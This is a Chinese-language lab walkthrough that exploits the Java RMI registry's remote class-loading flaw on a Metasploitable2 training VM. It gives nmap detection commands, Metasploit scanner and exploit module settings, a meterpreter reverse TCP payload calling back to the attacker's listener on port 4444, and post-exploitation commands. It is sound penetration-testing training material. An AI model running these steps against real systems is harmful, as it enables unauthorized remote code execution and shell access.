Java远程方法调用,也就是Java RMI,它是一种机制,允许一个Java虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。
漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。
RMI协议使用两种其他协议来实现其on-the-wire格式,即Java对象序列化和HTTP协议:
·对象序列化协议用来编组调用和返回数据。
· HTTP协议用于POST远程方法调用,并在情况允许时获取返回数据。
第一步就是拿nmap神器扫描目标地址。
命令:nmap 192.168.73.130
192.168.73.130是我们的靶机(metasploitable2),靶机上安装了Java RMI服务(rmiregistry),运行在1099端口上,你也可以通过nmap扫描结果来看这个端口是开放的。
Metasploitable2介绍:这是一个集合了各种漏洞的靶机,可以用来进行安全培训,测试安全工具和练习常用的渗透测试技巧。
你也可以使用nmap脚本来验证这个漏洞是否存在,命令如下:
nmap –script=rmi-vuln-classloader -p 1099 192.168.73.130
下面的脚本检测Java rmiregistry服务是否允许加载类。默认的配置允许rmiregistry服务从远程URLs加载类,这就导致了远程代码执行。
供应商(Oracle/sun公司)声称这是一项涉及功能。
在我们的攻击机上启动MSF,然后在控制台搜索java_rmi,命令如下:
search java_rmi
通过上面的截图可以看到,有很多与Java RMI相关的模块,不过对于扫描来说,最佳模块是auxiliary/scanner/misc/java_rmi_server,对于漏洞利用,最佳模块是exploit/multi/misc/java_rmi_server
我们先使用扫描模块,输入下列命令,然后”show options”一下
use auxiliary/scanner/misc/java_rmi_server
接下来是设置RHOST和RPORT,命令如下:
setRHOSTS 192.168.73.130 setRPORT 1099 run
我们可以看到扫描器检测到了运行在1099端口上的java RMI服务,这就表明它可能存在这个漏洞。
现在我们就来使用一下漏洞利用的最佳模块,命令如下:
use exploit/multi/misc/java_rmi_server
然后输入“show options”查看需要设置的参数,如图:
该模块(java_rmi_server)利用RMI registry和RMI激活服务,允许从任何的远程URLs加载类。由于它调用了RMI Distributed Garbage Collector中的一个方法,该方法在每个RMI终端中都是可用的,它既可以用于rmiregistry和rmid,也可以用于大部分其他(自定义的)的RMI终端。
注意:它不适用于Java Manager Extension(JMX)端口,因为它们不支持远程加载类,除非有另一个RMI终端在相同的java进程中处于活跃状态。RMI方法调用不支持或要求任何的身份验证。
同样,你还是要设置RHOST和RPORT。
setRHOST 192.168.73.130 setRPORT 1099
然后,你还需要设置payload来进行反向TCP shell连接,命令如下:
Set payload /java/meterpreter/reverse_tcp
你可以输入show payloads来查看所有的payload。
接着我们还是输入“show options”来查看刚才设置的payload需要设置的参数。如图:
这里你可以看到缺少了LHOST,因为我们使用的是反向shell,我们需要设置一个监听地址和监听端口,这里我的LHOST地址是192.168.73.128,监听端口我设置为4444,如图:
我们可以看到这个exp在我们的系统中启动了一个处理器,向靶机发送RMI方法调用,然后成功打开了一个meterpreter会话。
输入“session -i”来查看所有已建立的会话,连接活跃的会话,我们可以使用“session -i <ID>”,如图:
建立会话连接之后,我们就可以使用sysinfo,shell和getuid等命令了,如图: